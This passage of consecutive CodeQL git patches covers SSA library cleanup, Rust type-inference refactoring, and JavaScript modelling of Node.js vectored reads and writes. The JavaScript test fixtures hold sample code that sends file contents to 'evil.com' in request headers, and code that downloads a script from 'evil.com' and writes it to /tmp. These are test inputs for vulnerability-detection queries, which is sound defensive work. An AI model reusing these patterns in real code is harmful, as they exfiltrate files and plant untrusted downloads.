e or @@ -366,13 +361,6 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu ) } - class Parameter = CfgNodes::ParamBaseCfgNode; - - /** Holds if SSA definition `def` initializes parameter `p` at function entry. */ - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { - none() // handled in `DataFlowImpl.qll` instead - } - class Guard extends CfgNodes::AstCfgNode { /** * Holds if the control flow branching from `bb1` is dependent on this guard, diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 62dc4230573..0e70740576f 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1468,21 +1468,6 @@ module Make Input> { */ default predicate ssaDefHasSource(WriteDefinition def) { any() } - /** Holds if SSA definition `def` assigns `value` to the underlying variable. */ - predicate ssaDefAssigns(WriteDefinition def, Expr value); - - /** A parameter. */ - class Parameter { - /** Gets a textual representation of this parameter. */ - string toString(); - - /** Gets the location of this parameter. */ - Location getLocation(); - } - - /** Holds if SSA definition `def` initializes parameter `p` at function entry. */ - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p); - /** * Holds if flow should be allowed into uncertain SSA definition `def` from * previous definitions or reads. @@ -1675,17 +1660,7 @@ module Make Input> { cached private newtype TNode = TWriteDefSource(WriteDefinition def) { DfInput::ssaDefHasSource(def) } or - TParamNode(DfInput::Parameter p) { - exists(WriteDefinition def | DfInput::ssaDefInitializesParam(def, p)) - } or - TExprNode(DfInput::Expr e, Boolean isPost) { - e = DfInput::getARead(_) - or - exists(DefinitionExt def | - DfInput::ssaDefAssigns(def, e) and - isPost = false - ) - } or + TExprNode(DfInput::Expr e, Boolean isPost) { e = DfInput::getARead(_) } or TSsaDefinitionNode(DefinitionExt def) { not phiHasUniqNextNode(def) } or TSsaInputNode(SsaPhiExt phi, BasicBlock input) { relevantPhiInputNode(phi, input) } @@ -1722,22 +1697,6 @@ module Make Input> { final class WriteDefSourceNode = WriteDefSourceNodeImpl; - /** A parameter node. */ - private class ParameterNodeImpl extends NodeImpl, TParamNode { - private DfInput::Parameter p; - - ParameterNodeImpl() { this = TParamNode(p) } - - /** Gets the underlying parameter. */ - DfInput::Parameter getParameter() { result = p } - - override string toString() { result = p.toString() } - - override Location getLocation() { result = p.getLocation() } - } - - final class ParameterNode = ParameterNodeImpl; - /** A (post-update) expression node. */ abstract private class ExprNodePreOrPostImpl extends NodeImpl, TExprNode { DfInput::Expr e; @@ -2003,14 +1962,7 @@ module Make Input> { predicate localFlowStep(SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) { exists(Definition def | // Flow from write definition source into SSA definition - nodeFrom = TWriteDefSource(def) - or - // Flow from assignment into SSA definition - DfInput::ssaDefAssigns(def, nodeFrom.(ExprNode).getExpr()) - or - // Flow from parameter into entry definition - DfInput::ssaDefInitializesParam(def, nodeFrom.(ParameterNode).getParameter()) - | + nodeFrom = TWriteDefSource(def) and isUseStep = false and if DfInput::includeWriteDefsInFlowStep() then @@ -2042,14 +1994,7 @@ module Make Input> { predicate localMustFlowStep(SourceVariable v, Node nodeFrom, Node nodeTo) { exists(Definition def | // Flow from write definition source into SSA definition - nodeFrom = TWriteDefSource(def) - or - // Flow from assignment into SSA definition - DfInput::ssaDefAssigns(def, nodeFrom.(ExprNode).getExpr()) - or - // Flow from parameter into entry definition - DfInput::ssaDefInitializesParam(def, nodeFrom.(ParameterNode).getParameter()) - | + nodeFrom = TWriteDefSource(def) and v = def.getSourceVariable() and if DfInput::includeWriteDefsInFlowStep() then nodeTo.(SsaDefinitionNode).getDefinition() = def From 623bc232bf1a6de809da7f853ba0b3d41fd9c176 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Fri, 28 Mar 2025 13:04:55 +0100 Subject: [PATCH 113/282] Rust: Address PR comments --- .../typeinference/internal/TypeInference.qll | 46 ++++++++++++------- 1 file changed, 29 insertions(+), 17 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 772512c0df3..8e9a83f2bb7 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -287,11 +287,11 @@ module Make1 Input1> { * - `T3` is mentioned at `T2.T1` for immediate base type mention `Base>` * of `Mid`, * - ``C`1`` is mentioned at `T3` for immediate base type mention `Mid>` - * of `Sub`, and + * of `Sub`, * - `T4` is mentioned at `T3.T1` for immediate base type mention `Mid>` - * of `Sub`, and + * of `Sub`, * - ``C`1`` is mentioned at `T2` and implicitly at `T2.T1` for transitive base type - * mention `Base>` of `Sub`. + * mention `Base>` of `Sub`, and * - `T4` is mentioned implicitly at `T2.T1.T1` for transitive base type mention * `Base>` of `Sub`. */ @@ -307,8 +307,7 @@ module Make1 Input1> { or // transitive base class exists(Type immediateBase | immediateBase = resolveTypeMentionRoot(immediateBaseMention) | - not t = immediateBase.getATypeParameter() and - baseTypeMentionHasTypeAt(immediateBase, baseMention, path, t) + baseTypeMentionHasNonTypeParameterAt(immediateBase, baseMention, path, t) or exists(TypePath path0, TypePath prefix, TypePath suffix, TypeParameter tp | /* @@ -336,8 +335,7 @@ module Make1 Input1> { * ``` */ - baseTypeMentionHasTypeAt(immediateBase, baseMention, prefix, tp) and - tp = immediateBase.getATypeParameter() and + baseTypeMentionHasTypeParameterAt(immediateBase, baseMention, prefix, tp) and t = immediateBaseMention.resolveTypeAt(path0) and path0.isCons(tp, suffix) and path = prefix.append(suffix) @@ -345,6 +343,21 @@ module Make1 Input1> { ) ) } + + /** Similar to `baseTypeMentionHasTypeAt` but FIXME: */ + pragma[inline] + predicate baseTypeMentionHasNonTypeParameterAt( + Type sub, TypeMention baseMention, TypePath path, Type t + ) { + not t = sub.getATypeParameter() and baseTypeMentionHasTypeAt(sub, baseMention, path, t) + } + + pragma[inline] + predicate baseTypeMentionHasTypeParameterAt( + Type sub, TypeMention baseMention, TypePath path, TypeParameter tp + ) { + tp = sub.getATypeParameter() and baseTypeMentionHasTypeAt(sub, baseMention, path, tp) + } } private import BaseTypes @@ -514,7 +527,7 @@ module Make1 Input1> { private module AccessBaseType { /** * Holds if inferring types at `a` might depend on the type at `path` of - * `apos` having `baseMention` as a transitive base type mention. + * `apos` having `base` as a transitive base type mention. */ private predicate relevantAccess(Access a, AccessPosition apos, TypePath path, Type base) { exists(Declaration target, DeclarationPosition dpos | @@ -557,8 +570,9 @@ module Make1 Input1> { * // ^^^^^^^^^^^^^^^^^^^^^^^^^ `a` * ``` * - * where the method call is an access and `new Sub()` is at an - * access position, which is the receiver of a method call, we have: + * where the method call is an access, `new Sub()` is at the access + * position which is the receiver of a method call, and `pathToSub` is + * `""` we have: * * `baseMention` | `path` | `t` * ------------- | ------------ | --- @@ -575,12 +589,10 @@ module Make1 Input1> { ) { relevantAccess(a, apos, pathToSub, resolveTypeMentionRoot(baseMention)) and exists(Type sub | sub = a.getInferredType(apos, pathToSub) | - not t = sub.getATypeParameter() and - baseTypeMentionHasTypeAt(sub, baseMention, path, t) + baseTypeMentionHasNonTypeParameterAt(sub, baseMention, path, t) or exists(TypePath prefix, TypePath suffix, TypeParameter tp | - tp = sub.getATypeParameter() and - baseTypeMentionHasTypeAt(sub, baseMention, prefix, tp) and + baseTypeMentionHasTypeParameterAt(sub, baseMention, prefix, tp) and t = inferTypeAt(a, apos, pathToSub, tp, suffix) and path = prefix.append(suffix) ) @@ -681,15 +693,15 @@ module Make1 Input1> { * For this example * ```csharp * interface IFoo { } - * void M(T2 item) where T2 : IFoo { } + * T1 M(T2 item) where T2 : IFoo { } * ``` * with the method declaration being the target and the for the first * parameter position, we have the following * - `path1 = ""`, * - `tp1 = T2`, * - `constraint = IFoo`, - * - `path2 = "A"`, - * - `tp2 = T1` + * - `path2 = "A"`, and + * - `tp2 = T1`. */ pragma[nomagic] private predicate typeParameterConstraintHasTypeParameter( From 6e7214747cb3a0765ededfe8a25ec811e6c059b4 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 13:55:14 +0100 Subject: [PATCH 114/282] Added test cases for `readv` and `readvSync` --- .../Security/CWE-200/FileAccessToHttp.js | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index 3a06a63410c..e602a6158d5 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -26,3 +26,36 @@ const fsp = require("fs").promises; console.error("Error reading file:", error); } })(); + +app.post('/readv', async (req, res) => { + const { filename } = req.body; + const fd = await fs.open(filename, 'r'); + + const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ MISSING: Source[js/file-access-to-http] + const { bytesRead } = fs.readvSync(fd, buffer); + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: buffer } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + + const buffer1 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + const { bytesRead1 } = fs.readvSync(fd, [buffer1]); + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: buffer1.slice(0, bytesRead1).toString() } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + + const buffer2 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + fs.readv(fd, [buffer2], (err, bytesRead2) => { + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: buffer2.slice(0, bytesRead2).toString() } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }); +}); From e63e170ac2e4658e6c0fa18cfc3952ac38deea3d Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 13:56:52 +0100 Subject: [PATCH 115/282] Added support for `readv` and `readvSync` functions in `NodeJSFileSystemAccessRead` class . --- .../javascript/frameworks/NodeJSLib.qll | 16 +++++++ .../CWE-200/FileAccessToHttp.expected | 46 +++++++++++++++++++ .../Security/CWE-200/FileAccessToHttp.js | 12 ++--- 3 files changed, 68 insertions(+), 6 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 73381006a47..81fc4e682c1 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -628,6 +628,22 @@ module NodeJSLib { } } + /** A vectored read to the file system. */ + private class NodeJSFileSystemAccessVectorRead extends FileSystemReadAccess, + NodeJSFileSystemAccess + { + NodeJSFileSystemAccessVectorRead() { methodName = ["readv", "readvSync"] } + + override DataFlow::Node getADataNode() { + result = this.getArgument(1) + or + exists(DataFlow::ArrayCreationNode array | + array.flowsTo(this.getArgument(1)) and + result = array.getAnElement() + ) + } + } + /** * A write to the file system, using a stream. */ diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected index dc269be18f3..bde27032d4f 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected @@ -1,6 +1,9 @@ #select | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data | | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data | +| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | file data | +| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | file data | +| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | file data | | bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data | | googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data | | readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data | @@ -18,6 +21,27 @@ edges | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | | | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | | | FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | | +| FileAccessToHttp.js:34:9:34:57 | buffer | FileAccessToHttp.js:40:25:40:30 | buffer | provenance | | +| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:34:9:34:57 | buffer | provenance | | +| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | provenance | | +| FileAccessToHttp.js:40:25:40:30 | buffer | FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | provenance | | +| FileAccessToHttp.js:43:9:43:36 | buffer1 | FileAccessToHttp.js:49:25:49:31 | buffer1 | provenance | | +| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:43:9:43:36 | buffer1 | provenance | | +| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | provenance | | +| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | provenance | | +| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | provenance | | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | | +| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | provenance | | +| FileAccessToHttp.js:52:9:52:36 | buffer2 | FileAccessToHttp.js:53:17:53:23 | buffer2 | provenance | | +| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:52:9:52:36 | buffer2 | provenance | | +| FileAccessToHttp.js:53:17:53:23 | buffer2 | FileAccessToHttp.js:58:27:58:33 | buffer2 | provenance | | +| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | provenance | | +| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | provenance | | +| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | provenance | | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | | +| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | | @@ -74,6 +98,28 @@ nodes | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } | | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] | | FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content | +| FileAccessToHttp.js:34:9:34:57 | buffer | semmle.label | buffer | +| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | semmle.label | [Buffer ... (1024)] | +| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | semmle.label | {\\n h ... r }\\n } | +| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | semmle.label | { Referer: buffer } [Referer] | +| FileAccessToHttp.js:40:25:40:30 | buffer | semmle.label | buffer | +| FileAccessToHttp.js:43:9:43:36 | buffer1 | semmle.label | buffer1 | +| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) | +| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | semmle.label | {\\n h ... ) }\\n } | +| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] | +| FileAccessToHttp.js:49:25:49:31 | buffer1 | semmle.label | buffer1 | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | semmle.label | buffer1 ... sRead1) | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | semmle.label | buffer1 ... sRead1) [ArrayElement] | +| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | semmle.label | buffer1 ... tring() | +| FileAccessToHttp.js:52:9:52:36 | buffer2 | semmle.label | buffer2 | +| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) | +| FileAccessToHttp.js:53:17:53:23 | buffer2 | semmle.label | buffer2 | +| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } | +| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] | +| FileAccessToHttp.js:58:27:58:33 | buffer2 | semmle.label | buffer2 | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | semmle.label | buffer2 ... sRead2) | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | semmle.label | buffer2 ... sRead2) [ArrayElement] | +| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | semmle.label | buffer2 ... tring() | | bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) | | bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer | diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index e602a6158d5..da3d2e86ee8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -31,31 +31,31 @@ app.post('/readv', async (req, res) => { const { filename } = req.body; const fd = await fs.open(filename, 'r'); - const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ MISSING: Source[js/file-access-to-http] + const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http] const { bytesRead } = fs.readvSync(fd, buffer); https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] - const buffer1 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] const { bytesRead1 } = fs.readvSync(fd, [buffer1]); https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer1.slice(0, bytesRead1).toString() } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] - const buffer2 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] fs.readv(fd, [buffer2], (err, bytesRead2) => { https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer2.slice(0, bytesRead2).toString() } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] }); }); From e0c6cbb1b7fb7bb47ceeaaef7529176b519fc9c0 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 11:21:05 +0100 Subject: [PATCH 116/282] Added test cases for `writev` and `writevSync`. --- .../Security/CWE-912/HttpToFileAccess.js | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js index 3c56f9bdf2f..8975d315c67 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js @@ -6,3 +6,16 @@ https.get('https://evil.com/script', res => { fs.writeFileSync("/tmp/script", d) // $ Alert }); }); + + +https.get('https://evil.com/script', res => { + res.on("data", d => { // $ MISSING: Source + fs.open("/tmp/script", 'r', (err, fd) => { + fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert + console.log(`Wrote ${bytesWritten} bytes`); + }); + + const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert + }); + }); +}); From 495af56ab519e3811d61ee7d7d593ed2e7122ebd Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 11:26:13 +0100 Subject: [PATCH 117/282] Added `NodeJSFileSystemVectorWrite` class for vectored write. --- .../ql/lib/semmle/javascript/frameworks/NodeJSLib.qll | 7 +++++++ .../Security/CWE-912/HttpToFileAccess.expected | 11 +++++++++++ .../query-tests/Security/CWE-912/HttpToFileAccess.js | 6 +++--- 3 files changed, 21 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 81fc4e682c1..c5f8c3d14f1 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -601,6 +601,13 @@ module NodeJSLib { } } + /** A vectored write to the file system using `writev` or `writevSync` methods. */ + private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess { + NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] } + + override DataFlow::Node getADataNode() { result = this.getArgument(1) } + } + /** A file system read. */ private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess { NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] } diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected index 1fc29a85b64..c94888cc0ae 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected @@ -1,10 +1,16 @@ #select | HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data | +| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data | +| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data | | tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data | edges | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance | | +| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance | | +| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance | | +| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance | | +| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance | | | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | | | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | | | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance | | @@ -15,6 +21,11 @@ edges nodes | HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d | | HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d | +| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d | +| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] | +| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d | +| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] | +| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d | | tst.js:15:26:15:26 | c | semmle.label | c | | tst.js:16:33:16:33 | c | semmle.label | c | | tst.js:16:33:16:33 | c | semmle.label | c | diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js index 8975d315c67..22c3b1cf2cf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js @@ -9,13 +9,13 @@ https.get('https://evil.com/script', res => { https.get('https://evil.com/script', res => { - res.on("data", d => { // $ MISSING: Source + res.on("data", d => { // $ Source fs.open("/tmp/script", 'r', (err, fd) => { - fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert + fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert console.log(`Wrote ${bytesWritten} bytes`); }); - const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert + const bytesWritten = fs.writevSync(fd, [d]); // $ Alert }); }); }); From 769fe75d821172bd7a3275465f6151d4b3acb378 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 13:05:28 +0100 Subject: [PATCH 118/282] Added change note. --- javascript/ql/lib/change-notes/2025-03-28-fs-extra.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-03-28-fs-extra.md diff --git a/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md b/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md new file mode 100644 index 00000000000..f30177905ae --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added support for additional `fs-extra` methods as sinks in path-injection queries. From 75b4d1b771d0c62bc71f6da562390aace1187bd2 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 13:19:11 +0100 Subject: [PATCH 119/282] Applied copilot suggestions. --- .../test/query-tests/Security/CWE-200/FileAccessToHttp.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index da3d2e86ee8..cfd8b18eb85 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ 